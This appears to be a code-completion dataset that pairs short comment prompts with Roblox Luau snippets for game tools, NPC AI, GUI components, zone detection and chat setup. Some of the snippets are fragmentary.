prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- Class |
local RotatedRegion3 = {}
RotatedRegion3.__index = RotatedRegion3
|
--[[
Constructs and returns a new instance, with options for setting properties,
event handlers and other attributes on the instance right away.
]] |
local Package = script.Parent.Parent
local PubTypes = require(Package.PubTypes)
local cleanupOnDestroy = require(Package.Utility.cleanupOnDestroy)
local Children = require(Package.Instances.Children)
local Scheduler = require(Package.Instances.Scheduler)
local defaultProps = require(Package.Instances.defaultProps)
local Observer = require(Package.State.Observer)
local logError = require(Package.Logging.logError)
local logWarn = require(Package.Logging.logWarn)
local WEAK_KEYS_METATABLE = {__mode = "k"}
local ENABLE_EXPERIMENTAL_GC_MODE = false
|
--[[
Keyboard Character Control - This module handles controlling your avatar from a keyboard
2018 PlayerScripts Update - AllYourBlox
--]] | |
------------------------------------------------------------------ |
local Player = game.Players.LocalPlayer --This line down to line 74 set all the variables in the plane
local Character = Player.Character
local Plane = Character.Plane
local AutoCrash = Plane.AutoCrash
local Weapons = Plane.Weapons
local MainParts = Plane.MainParts
local Gear = MainParts.Gear
local Engine = MainParts.Engine
local Thrust = Engine.Thrust
local Direction = Engine.Direction
local Customize = Plane.Customize
local Tool = script.Parent
local GUI = Tool.PlaneGui
local ToolSelect = Tool.ToolSelect
local Deselect0 = Tool.Deselect0
local FireMain = Tool.FireMain
local Camera = game.Workspace.CurrentCamera
local RunService = game:GetService("RunService") |
-- Define the Configuration folder |
local Configuration = script.Parent:WaitForChild("Configuration")
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
ZoneModelName = "Homing hat" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
---- Settings ---- |
local Cooldown = true
local Key ="X"
UserInputService.InputBegan:Connect(function(Input, IsTyping)
if IsTyping then return end
local KeyPressed = Input.KeyCode
if KeyPressed == Enum.KeyCode[Key] and Cooldown and Character then
Cooldown = false
Remote:FireServer()
wait(8)
Cooldown = true
end
end)
|
--[[
-- Unused because too expensive to be worth the benefit since you'd have to call it often
local function RealignArcToCamera(self)
local relativeCamPos = self.cframe:inverse() * workspace.CurrentCamera.CFrame.p
for _, v in pairs(self.segments) do
local c = v.CFrame
local po = c.p
local up = c.upVector
local lf = cross(relativeCamPos - po, up).unit
local fr = cross(lf, up).unit
v.CFrame = cframe(po.x, po.y, po.z, lf.x, up.x, fr.x, lf.y, up.y, fr.y, lf.z, up.z, fr.z)
end
end
]] | |
-- local AttackRange, FieldOfView, AggroRange, ChanceOfBoredom, BoredomDuration,
-- Damage, DamageCooldown |
local configTable = model.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
if configTable:FindFirstChild(configName) then
configs[configName] = configTable:FindFirstChild(configName).Value
else
configs[configName] = defaultValue
end
end
loadConfig("AttackRange", 3)
loadConfig("FieldOfView", 180)
loadConfig("AggroRange", 200)
loadConfig("ChanceOfBoredom", .5)
loadConfig("BoredomDuration", 10)
loadConfig("Damage", 10)
loadConfig("DamageCooldown", 1)
local StateMachine = require(game.ServerStorage.ROBLOX_StateMachine).new()
local PathLib = require(game.ServerStorage.ROBLOX_PathfindingLibrary).new()
local ZombieTarget = nil
local ZombieTargetLastLocation = nil
local lastBored = os.time()
-- STATE DEFINITIONS
-- IdleState: NPC stays still. Refreshes bored timer when started to
-- allow for random state change
local IdleState = StateMachine.NewState()
IdleState.Name = "Idle"
IdleState.Action = function()
end
IdleState.Init = function()
lastBored = os.time()
end
-- SearchState: NPC wanders randomly increasing chance of spotting
-- enemy. Refreshed bored timer when started to allow for random state
-- change
local SearchState = StateMachine.NewState()
SearchState.Name = "Search"
local lastmoved = os.time()
local searchTarget = nil
SearchState.Action = function()
-- move to random spot nearby
if model then
local now = os.time()
if now - lastmoved > 2 then
lastmoved = now
local xoff = math.random(5, 10)
if math.random() > .5 then
xoff = xoff * -1
end
local zoff = math.random(5, 10)
if math.random() > .5 then
zoff = zoff * -1
end
local testtarg = AIUtilities:FindCloseEmptySpace(model)
--if testtarg then print(testtarg) else print("could not find") end
searchTarget = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
--local target = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
--model.Humanoid:MoveTo(target)
searchTarget = testtarg
end
if searchTarget then
PathLib:MoveToTarget(model, searchTarget)
end
end
end
SearchState.Init = function()
lastBored = os.time()
end
-- PursueState: Enemy has been spotted, need to give chase.
local PursueState = StateMachine.NewState()
PursueState.Name = "Pursue"
PursueState.Action = function()
-- Double check we still have target
if ZombieTarget and model:FindFirstChild("HumanoidRootPart") and ZombieTarget:FindFirstChild("HumanoidRootPart") then
-- Get distance to target
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
-- If we're far from target use pathfinding to move. Otherwise just MoveTo
if distance > configs["AttackRange"] + 5 then
PathLib:MoveToTarget(model, ZombieTarget.HumanoidRootPart.Position)
else
model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position) |
-- Create component |
local ItemList = Roact.Component:extend 'ItemList'
ItemList.defaultProps = {
MaxHeight = -1
}
function ItemList:init(props)
self:setState {
Min = 0,
Max = props.MaxHeight,
CanvasPosition = Vector2.new()
}
-- Create callback for updating canvas boundaries
self.UpdateBoundaries = function (rbx)
if self.Mounted then
self:setState {
CanvasPosition = rbx.CanvasPosition,
Min = rbx.CanvasPosition.Y - rbx.AbsoluteSize.Y,
Max = rbx.CanvasPosition.Y + rbx.AbsoluteSize.Y
}
end
end
end
function ItemList:didMount()
self.Mounted = true
end
function ItemList:willUnmount()
self.Mounted = false
end
function ItemList:didUpdate(previousProps, previousState)
local IsScrollTargetSet = self.props.ScrollTo and
(previousProps.ScrollTo ~= self.props.ScrollTo)
-- Reset canvas position whenever scope updates (unless a scrolling target is set)
if (previousProps.Scope ~= self.props.Scope) and (not IsScrollTargetSet) then
self:setState({
CanvasPosition = Vector2.new(0, 0);
Min = 0;
Max = self.props.MaxHeight;
})
end
end
function ItemList:render()
local props = self.props
local state = self.state
-- Keep track of how many items are out of view
local SkippedAbove = 0
local SkippedBelow = 0
local TargetCanvasPosition
-- Declare a button for each item
local ItemList = {}
local VisibleItemCount = 0
local ItemHeight = props.RowHeight
-- Go through each item in order
local OrderedItems = Support.Values(props.Items)
table.sort(OrderedItems, function (A, B)
return A.Order < B.Order
end)
for i = 1, #OrderedItems do
local Item = OrderedItems[i]
-- Get item parent state
local ParentId = Item.Parent and props.IdMap[Item.Parent]
local ParentState = ParentId and props.Items[ParentId]
-- Determine visibility and depth from ancestors
local Visible = true
local Depth = 0
if ParentId then
local ParentState = ParentState
while ParentState do
-- Stop if ancestor not visible
if not ParentState.Expanded then
Visible = nil
break
-- Count visible ancestors
else
Depth = Depth + 1
end
-- Check next ancestor
local ParentId = props.IdMap[ParentState.Parent]
ParentState = props.Items[ParentId]
end
end
-- Set canvas position to begin at item if requested and out-of-view
if (Item.Id == props.ScrollTo) and (self.ScrolledTo ~= props.ScrollTo) then
local ItemPosition = VisibleItemCount * props.RowHeight
if ItemPosition < state.CanvasPosition.Y or
ItemPosition > (state.CanvasPosition.Y + props.MaxHeight) then
TargetCanvasPosition = Vector2.new(0, ItemPosition)
self.ScrolledTo = Item.Id
end
end
-- Calculate whether item is in view
if Visible then
VisibleItemCount = VisibleItemCount + 1
local ItemTop = (VisibleItemCount - 1) * props.RowHeight
if ItemTop < state.Min then
SkippedAbove = SkippedAbove + 1
Visible = nil
elseif ItemTop > state.Max then
SkippedBelow = SkippedBelow + 1
Visible = nil
end
end
-- Declare component for item
ItemList[Item.Id] = Visible and new(ItemRow, Support.Merge({}, Item, {
Depth = Depth,
Core = props.Core,
ToggleExpand = props.ToggleExpand,
Height = props.RowHeight
}))
end
return new(ScrollingFrame, {
Layout = 'List',
LayoutDirection = 'Vertical',
CanvasSize = UDim2.new(1, -2, 0, VisibleItemCount * props.RowHeight),
Size = UDim2.new(1, 0, 0, VisibleItemCount * props.RowHeight),
CanvasPosition = TargetCanvasPosition or state.CanvasPosition,
ScrollBarThickness = 4,
ScrollBarImageTransparency = 0.6,
VerticalScrollBarInset = 'ScrollBar',
[Roact.Change.CanvasPosition] = self.UpdateBoundaries,
[Roact.Children] = Support.Merge(ItemList, {
TopSpacer = new(Frame, {
Size = UDim2.new(0, 0, 0, SkippedAbove * props.RowHeight),
LayoutOrder = 0
}),
BottomSpacer = new(Frame, {
Size = UDim2.new(0, 0, 0, SkippedBelow * props.RowHeight),
LayoutOrder = #OrderedItems + 1
}),
SizeConstraint = new('UISizeConstraint', {
MinSize = Vector2.new(0, 20),
MaxSize = Vector2.new(math.huge, props.MaxHeight)
})
})
})
end
return ItemList
|
--[[
RotateSpine
Description: This script listens for the UpdateSpine remote event from clients and updates their spine, arms, and waist by
interpolating the rotation of the Motor6Ds.
]] | |
-- FEATURE METHODS |
function Icon:bindEvent(iconEventName, eventFunction)
local event = self[iconEventName]
assert(event and typeof(event) == "table" and event.Connect, "argument[1] must be a valid topbarplus icon event name!")
assert(typeof(eventFunction) == "function", "argument[2] must be a function!")
self._bindedEvents[iconEventName] = event:Connect(function(...)
eventFunction(self, ...)
end)
return self
end
function Icon:unbindEvent(iconEventName)
local eventConnection = self._bindedEvents[iconEventName]
if eventConnection then
eventConnection:Disconnect()
self._bindedEvents[iconEventName] = nil
end
return self
end
function Icon:bindToggleKey(keyCodeEnum)
assert(typeof(keyCodeEnum) == "EnumItem", "argument[1] must be a KeyCode EnumItem!")
self._bindedToggleKeys[keyCodeEnum] = true
return self
end
function Icon:unbindToggleKey(keyCodeEnum)
assert(typeof(keyCodeEnum) == "EnumItem", "argument[1] must be a KeyCode EnumItem!")
self._bindedToggleKeys[keyCodeEnum] = nil
return self
end
function Icon:lock()
self.locked = true
return self
end
function Icon:unlock()
self.locked = false
return self
end
function Icon:setTopPadding(offset, scale)
local newOffset = offset or 4
local newScale = scale or 0
self.topPadding = UDim.new(newScale, newOffset)
self.updated:Fire()
return self
end
function Icon:bindToggleItem(guiObjectOrLayerCollector)
if not guiObjectOrLayerCollector:IsA("GuiObject") and not guiObjectOrLayerCollector:IsA("LayerCollector") then
error("Toggle item must be a GuiObject or LayerCollector!")
end
self.toggleItems[guiObjectOrLayerCollector] = true
return self
end
function Icon:unbindToggleItem(guiObjectOrLayerCollector)
self.toggleItems[guiObjectOrLayerCollector] = nil
return self
end
function Icon:_setToggleItemsVisible(bool, byIcon)
for toggleItem, _ in pairs(self.toggleItems) do
if not byIcon or byIcon.toggleItems[toggleItem] == nil then
local property = "Visible"
if toggleItem:IsA("LayerCollector") then
property = "Enabled"
end
toggleItem[property] = bool
end
end
end
|
--------------------------CHARACTER CONTROL------------------------------- |
local CurrentIgnoreList: {Model}
local CurrentIgnoreTag = nil
local TaggedInstanceAddedConnection: RBXScriptConnection? = nil
local TaggedInstanceRemovedConnection: RBXScriptConnection? = nil
local function GetCharacter(): Model
return Player and Player.Character
end
local function UpdateIgnoreTag(newIgnoreTag)
if newIgnoreTag == CurrentIgnoreTag then
return
end
if TaggedInstanceAddedConnection then
TaggedInstanceAddedConnection:Disconnect()
TaggedInstanceAddedConnection = nil
end
if TaggedInstanceRemovedConnection then
TaggedInstanceRemovedConnection:Disconnect()
TaggedInstanceRemovedConnection = nil
end
CurrentIgnoreTag = newIgnoreTag
CurrentIgnoreList = {GetCharacter()}
if CurrentIgnoreTag ~= nil then
local ignoreParts = CollectionService:GetTagged(CurrentIgnoreTag)
for _, ignorePart in ipairs(ignoreParts) do
table.insert(CurrentIgnoreList, ignorePart)
end
TaggedInstanceAddedConnection = CollectionService:GetInstanceAddedSignal(
CurrentIgnoreTag):Connect(function(ignorePart)
table.insert(CurrentIgnoreList, ignorePart)
end)
TaggedInstanceRemovedConnection = CollectionService:GetInstanceRemovedSignal(
CurrentIgnoreTag):Connect(function(ignorePart)
for i = 1, #CurrentIgnoreList do
if CurrentIgnoreList[i] == ignorePart then
CurrentIgnoreList[i] = CurrentIgnoreList[#CurrentIgnoreList]
table.remove(CurrentIgnoreList)
break
end
end
end)
end
end
local function getIgnoreList(): {Model}
if CurrentIgnoreList then
return CurrentIgnoreList
end
CurrentIgnoreList = {}
assert(CurrentIgnoreList, "")
table.insert(CurrentIgnoreList, GetCharacter())
return CurrentIgnoreList
end
local function minV(a: Vector3, b: Vector3)
return Vector3.new(math.min(a.X, b.X), math.min(a.Y, b.Y), math.min(a.Z, b.Z))
end
local function maxV(a, b)
return Vector3.new(math.max(a.X, b.X), math.max(a.Y, b.Y), math.max(a.Z, b.Z))
end
local function getCollidableExtentsSize(character: Model?)
if character == nil or character.PrimaryPart == nil then return end
assert(character, "")
assert(character.PrimaryPart, "")
local toLocalCFrame = character.PrimaryPart.CFrame:Inverse()
local min = Vector3.new(math.huge, math.huge, math.huge)
local max = Vector3.new(-math.huge, -math.huge, -math.huge)
for _,descendant in pairs(character:GetDescendants()) do
if descendant:IsA('BasePart') and descendant.CanCollide then
local localCFrame = toLocalCFrame * descendant.CFrame
local size = Vector3.new(descendant.Size.X / 2, descendant.Size.Y / 2, descendant.Size.Z / 2)
local vertices = {
Vector3.new( size.X, size.Y, size.Z),
Vector3.new( size.X, size.Y, -size.Z),
Vector3.new( size.X, -size.Y, size.Z),
Vector3.new( size.X, -size.Y, -size.Z),
Vector3.new(-size.X, size.Y, size.Z),
Vector3.new(-size.X, size.Y, -size.Z),
Vector3.new(-size.X, -size.Y, size.Z),
Vector3.new(-size.X, -size.Y, -size.Z)
}
for _,vertex in ipairs(vertices) do
local v = localCFrame * vertex
min = minV(min, v)
max = maxV(max, v)
end
end
end
local r = max - min
if r.X < 0 or r.Y < 0 or r.Z < 0 then return nil end
return r
end
|
-- An hour in seconds |
local RESHOWING_FREQUENCY = 60*60
function calculateShowTimes()
local timeUntilNextShow = nil
local timeIntoShow = nil
local currentTime = DateTime.now().UnixTimestampMillis/1000
local timeUntilFirstShow = FIRST_EVER_SHOW - currentTime
if timeUntilFirstShow > 0 then
timeUntilNextShow = timeUntilFirstShow
else
timeUntilNextShow = timeUntilFirstShow % RESHOWING_FREQUENCY
timeIntoShow = RESHOWING_FREQUENCY - timeUntilNextShow
end
return timeUntilNextShow, timeIntoShow
end
function loadPreShowVenue()
-- The PreShowVenue scene length needs to be adjusted to match the time until the next show.
local timeUntilNextShow, timeIntoShow = calculateShowTimes()
PSV_SCENE:SetAttribute("TimeLength", timeUntilNextShow)
EventSequencer.loadScene(PSV_SCENE.Name)
end
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
return true
end
|
-- MODULES -- |
local partEmitter = require(Modules.PartEmitter)
local partCacheModule = require(Modules.PartCache)
local partCache = partCacheModule.new(script.Part, 100, workspace.Debris)
local SpiralModule = require(Modules.SpiralTrail)
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 120 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 140 ,
spInc = 40 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 160 ,
spInc = 40 , -- Increment between labelled notches
}
}
|
----------------------------------------------------------------------------------------------------
-----------------=[ General ]=----------------------------------------------------------------------
---------------------------------------------------------------------------------------------------- |
TeamKill = false --- Enable TeamKill?
,TeamDmgMult = 1 --- Between 0-1 | This will make you cause less damage if you hit your teammate
,ReplicatedBullets = true --- Keep in mind that some bullets will pass through surfaces...
,AntiBunnyHop = true --- Enable anti bunny hop system?
,JumpCoolDown = 1.5 --- Seconds before you can jump again
,JumpPower = 20 --- Jump power, default is 50
,RealisticLaser = true --- True = Laser line is invisible
,ReplicatedLaser = true
,ReplicatedFlashlight = true
,EnableRagdoll = true --- Enable ragdoll death?
,TeamTags = false --- Aaaaaaa
,HitmarkerSound = false --- GGWP MLG 360 NO SCOPE xD
,Crosshair = false --- Crosshair for Hipfire shooters and arcade modes
,CrosshairOffset = 5 --- Crosshair size offset |
--Light off |
src.right.Value.Value = 0
src.left.Value.Value = 0
light.Value = false
else
src.right.Value.Value = 1
src.left.Value.Value = 1
light.Value = true
return
end
end
end)
src.Parent.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
src:Stop()
script.Parent:Destroy()
end
end)
|
--^^^ Made by Anaminus ^^^--- |
function module.getSide(p,s)
local cf = p.CFrame
if s.x > 0 then
return (cf*CFrame.fromAxisAngle(Vector3.new(0,-1,0),math.pi/2)).lookVector
elseif s.x < 0 then
return (cf*CFrame.fromAxisAngle(Vector3.new(0,1,0),math.pi/2)).lookVector
end
if s.y < 0 then
return (cf*CFrame.fromAxisAngle(Vector3.new(-1,0,0),math.pi/2)).lookVector
elseif s.y > 0 then
return (cf*CFrame.fromAxisAngle(Vector3.new(1,0,0),math.pi/2)).lookVector
end
if s.z < 0 then
return cf.lookVector
elseif s.z > 0 then
return -cf.lookVector
end
end
function module.debounce(func)
local debounce = false
return function(...)
if not debounce then
debounce = true
func(...)
debounce = false
end
end
end
function module.part(p)
local parts = {}
local function getParts(m)
for _,v in pairs(m:GetChildren()) do
if v:IsA("Part") and v ~= p then
table.insert(parts,#parts+1,v)
elseif v:IsA("Model") then
getParts(v)
end
end
end
getParts(game.Workspace)
local winner = {}
for _,q in pairs(parts) do
local mag = (q.Position-p.Position).magnitude
if mag < winner[1] then
winner[1] = mag
winner[2] = q
end
end
return winner[2]
end
function module.weld(p1,p2)
local w = Instance.new("Weld")
w.Part0 = p1
w.Part1 = p2
w.C0 = p1.CFrame:inverse() * p2.CFrame
w.Parent = p1
return w
end
return module
|
-- Create component |
local Component = Cheer.CreateComponent('BTToolInformationManager', View);
function Component.Start(Core)
-- Save reference to core API
getfenv(1).Core = Core;
-- Return component for chaining
return Component;
end;
function Component.RegisterSection(SectionName)
-- Registers triggers for the given section
-- Get section
local Section = Component.GetSection(SectionName);
-- Reset fade timer on hover
Cheer.Bind(Section.MouseEnter, function ()
if Component.CurrentSection == Section then
Component.CurrentFadeTimer = false;
end;
end);
-- Start fade time on unhover
Cheer.Bind(Section.MouseLeave, function ()
Component.StartFadeTimer(true);
end);
end;
function Component.StartFadeTimer(Override)
-- Creates timer to disappear current section after 2 seconds unless overridden
if Component.CurrentFadeTimer == false and not Override then
return;
end;
-- Generate unique trigger ID
local TriggerId = HttpService:GenerateGUID();
-- Register timer
Component.CurrentFadeTimer = TriggerId;
-- Start timer
Delay(2, function ()
if Component.CurrentFadeTimer == TriggerId then
Component.HideCurrentSection();
end;
end);
end;
function Component.StartShowTimer(SectionName)
-- Creates timer to show content after hovering for over half a second
-- Only override current section if also triggered by hover
if Component.LastTrigger == 'Click' then
return;
end;
-- Generate unique trigger ID
local TriggerId = HttpService:GenerateGUID();
-- Register timer
Component.CurrentShowTimer = TriggerId;
-- Start timer
Delay(0.25, function ()
if Component.CurrentShowTimer == TriggerId then
Component.ShowSection(SectionName, 'Hover');
Component.StartFadeTimer();
end;
end);
end;
function Component.ProcessHover(Tool, SectionName)
-- Only override current section if also triggered by hover
if Component.LastTrigger == 'Click' then
return;
end;
wait();
-- Start a show timer
Component.StartShowTimer(SectionName);
end;
function Component.ShowSection(SectionName, TriggerType)
-- Hide any current section
Component.HideCurrentSection();
-- Get section
local Section = Component.GetSection(SectionName);
-- Set new current section
Component.CurrentSection = Section;
Component.LastTrigger = TriggerType;
-- Show the new section
Section.Visible = true;
end;
function Component.ProcessUnhover(Tool, SectionName)
-- Clear any other show timer
Component.CurrentShowTimer = nil;
-- Only override current section if triggered by a hover
if Component.LastTrigger == 'Click' then
return;
end;
-- Get section
local Section = Component.GetSection(SectionName);
-- Disappear after 2 seconds unless overridden
if Component.CurrentSection == Section then
Component.StartFadeTimer();
end;
end;
function Component.ProcessClick(Tool, SectionName)
-- Show the new section
Component.ShowSection(SectionName, 'Click');
-- Disappear after 2 seconds unless overridden
Component.StartFadeTimer();
end;
function Component.HideCurrentSection()
-- Ensure there is a current section
if not Component.CurrentSection then
return;
end;
-- Hide section
Component.CurrentSection.Visible = false;
-- Disable section fade timer if any
Component.CurrentFadeTimer = nil;
-- Unregister current section
Component.CurrentSection = nil;
Component.LastTrigger = nil;
end;
function Component.GetSection(SectionName)
-- Return the information section with the given name
return View:FindFirstChild(SectionName);
end;
return Component;
|
--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder.
--// I have to do some weird stuff since people could potentially already have pre-existing
--// things in a folder with the same name, and they may have different class types.
--// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that
--// the rest of the code can interface with and have the guarantee that the RemoteEvents they want
--// exist with their desired names. |
local FFlagFixChatWindowHoverOver = false do
local ok, value = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserFixChatWindowHoverOver")
end)
if ok then
FFlagFixChatWindowHoverOver = value
end
end
local FILTER_MESSAGE_TIMEOUT = 60
local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Chat = game:GetService("Chat")
local StarterGui = game:GetService("StarterGui")
local DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local EventFolder = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local messageCreatorModules = clientChatModules:WaitForChild("MessageCreatorModules")
local MessageCreatorUtil = require(messageCreatorModules:WaitForChild("Util"))
local ChatLocalization = nil
pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end
local numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary
local waitChildren =
{
OnNewMessage = "RemoteEvent",
OnMessageDoneFiltering = "RemoteEvent",
OnNewSystemMessage = "RemoteEvent",
OnChannelJoined = "RemoteEvent",
OnChannelLeft = "RemoteEvent",
OnMuted = "RemoteEvent",
OnUnmuted = "RemoteEvent",
OnMainChannelSet = "RemoteEvent",
SayMessageRequest = "RemoteEvent",
GetInitDataRequest = "RemoteFunction",
} |
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388 |
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(-0,-0,-1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0,-0.07,0) -- Change these to change the positiones of your hat, as I said earlier.
wait(5) debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
--[[
-- the player touched events which utilise active zones at the moment may change to the new CanTouch method for parts in the future
-- hence im disabling this as it may be depreciated quite soon
function ZoneController.getActiveZones()
local zonesArray = {}
for zone, _ in pairs(activeZones) do
table.insert(zonesArray, zone)
end
return zonesArray
end
--]] |
function ZoneController.getCharacterRegion(player)
local char = player.Character
local head = char and char:FindFirstChild("Head")
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if not(hrp and head) then return nil end
local headY = head.Size.Y
local hrpSize = hrp.Size
local charSize = (hrpSize * Vector3.new(2, 2, 1)) + Vector3.new(0, headY, 0)
local regionCFrame = hrp.CFrame * CFrame.new(0, headY/2 - hrpSize.Y/2, 0)
local charRegion = RotatedRegion3.new(regionCFrame, charSize)
return charRegion, regionCFrame, charSize
end
function ZoneController.getTouchingZones(player, onlyActiveZones, recommendedDetection)
local exitDetection = playerExitDetections[player]
playerExitDetections[player] = nil
local finalDetection = exitDetection or recommendedDetection
local charRegion
if finalDetection == enum.Detection.WholeBody then
charRegion = ZoneController.getCharacterRegion(player)
else
local char = player.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
local regionCFrame = hrp and hrp.CFrame
charRegion = regionCFrame and RotatedRegion3.new(regionCFrame, Vector3.new(0.1, 0.1, 0.1))
end
if not charRegion then return {} end
--[[
local part = Instance.new("Part")
part.Size = charSize
part.CFrame = regionCFrame
part.Anchored = true
part.CanCollide = false
part.Color = Color3.fromRGB(255, 0, 0)
part.Transparency = 0.4
part.Parent = workspace
game:GetService("Debris"):AddItem(part, 2)
--]]
local partsTable = (onlyActiveZones and activeParts) or allParts
local partToZoneDict = (onlyActiveZones and activePartToZone) or allPartToZone
local parts = charRegion:FindPartsInRegion3WithWhiteList(partsTable, #partsTable)
if #parts > 0 then
local hrp = player.Character.HumanoidRootPart
local hrpCFrame = hrp.CFrame
local hrpSizeX = hrp.Size.X
local pointsToVerify
if finalDetection == enum.Detection.WholeBody then
pointsToVerify = {
(hrpCFrame * CFrame.new(-hrpSizeX, 0, 0)).Position,
(hrpCFrame * CFrame.new(hrpSizeX, 0, 0)).Position,
}
else
pointsToVerify = {
hrp.Position,
}
end
if not ZoneController.verifyTouchingParts(pointsToVerify, parts) then
return {}
end
end
local zonesDict = {}
local touchingPartsDictionary = {}
for _, part in pairs(parts) do
local correspondingZone = partToZoneDict[part]
if correspondingZone then
zonesDict[correspondingZone] = true
touchingPartsDictionary[part] = correspondingZone
end
end
local touchingZonesArray = {}
local newExitDetection
for zone, _ in pairs(zonesDict) do
if newExitDetection == nil or zone._currentExitDetection < newExitDetection then
newExitDetection = zone._currentExitDetection
end
table.insert(touchingZonesArray, zone)
end
if newExitDetection then
playerExitDetections[player] = newExitDetection
end
return touchingZonesArray, touchingPartsDictionary
end
function ZoneController.getHeightOfParts(tableOfParts)
local maxY
local minY
for _, groupPart in pairs(tableOfParts) do
local partHeight = groupPart.Size.Y + 10
local partYHalf = partHeight/2
local partTopY = groupPart.Position.Y + partYHalf
local partBottomY = groupPart.Position.Y - partYHalf
if maxY == nil or partTopY > maxY then
maxY = partTopY
end
if minY == nil or partBottomY < minY then
minY = partBottomY
end
end
local height = maxY - minY
return height, minY, maxY
end
function ZoneController.vectorIsBetweenYBounds(vectorToCheck, tableOfParts)
local height, minY, maxY = ZoneController.getHeightOfParts(tableOfParts)
local raycastParams = RaycastParams.new()
raycastParams.FilterDescendantsInstances = tableOfParts
raycastParams.FilterType = Enum.RaycastFilterType.Whitelist
for i = 1, 2 do
local startVector = Vector3.new(vectorToCheck.X, (i == 1 and maxY) or minY, vectorToCheck.Z)
local directionVector = Vector3.new(0, (i == 1 and -height) or height, 0)
local raycastResult = workspace:Raycast(startVector, directionVector, raycastParams)
local vectorY = vectorToCheck.Y
local intersectionY = (raycastResult and raycastResult.Position.Y)
if not intersectionY or (i == 1 and vectorY > intersectionY) or (i == 2 and vectorY < intersectionY) then
return false
end
end
return true
end
function ZoneController.verifyTouchingParts(vectorsToCheck, tableOfParts)
-- Region3 checks are unreliable for some baseparts such as MeshParts and UnionOperations, therefore
-- we perform additional raycast checks to confirm whether the touching parts are actually within the zone
local classesToCheck = {
MeshPart = true,
UnionOperation = true,
}
local additionalCheckRequired = true
for _, part in pairs(tableOfParts) do
if not classesToCheck[part.ClassName] then
additionalCheckRequired = false
end
end
if not additionalCheckRequired then
return true
end
for _, vector in pairs(vectorsToCheck) do
if ZoneController.vectorIsBetweenYBounds(vector, tableOfParts) then
return true
end
end
return false
end
return ZoneController
|
--------------------------------------------------------------------------------------
--------------------[ TOOL SELECTION AND DESELECTION ]--------------------------------
-------------------------------------------------------------------------------------- |
function OnEquipped(M_Icon)
wait(math.random(10, 40) / 100)
if Humanoid.Health ~= 0 and (not Selected) and Gun.Parent == Character then
Selected = true
BreakReload = false
--------------------[ FAILSAFE RESETING ]-------------------------------------
for _, GM in pairs(Ignore_Model:GetChildren()) do
if GM.Name == "Gun_Ignore_"..Player.Name then
GM:Destroy()
end
end
for _,c in pairs(Connections) do
c:disconnect()
end
Connections = {}
--------------------[ CREATING IGNORE MODELS ]--------------------------------
Gun_Ignore = Instance.new("Model")
Gun_Ignore.Name = "Gun_Ignore_"..Player.Name
Gun_Ignore.Parent = Ignore_Model
--------------------[ MODIFYING THE PLAYER ]----------------------------------
M_Icon.Icon = "rbxasset://textures\\Blank.png"
Gui_Clone = Main_Gui:Clone()
Gui_Clone.Parent = Player.PlayerGui
SetUpGui()
Shoulders.Right.Part1 = nil
Shoulders.Left.Part1 = nil
PrevNeckCF.C0 = Neck.C0
PrevNeckCF.C1 = Neck.C1
BG = Instance.new("BodyGyro", HRP)
BG.maxTorque = VEC3(HUGE, HUGE, HUGE)
BG.Name = "BG"
BG.P = 1e5
BG.cframe = CF(Torso.CFrame.p, Torso.CFrame.p + Torso.CFrame.lookVector)
local PlayerFolder = Instance.new("Model")
PlayerFolder.Name = "PlayerFolder"
PlayerFolder.Parent = Gun_Ignore
local AnimBase = Instance.new("Part")
AnimBase.Transparency = 1
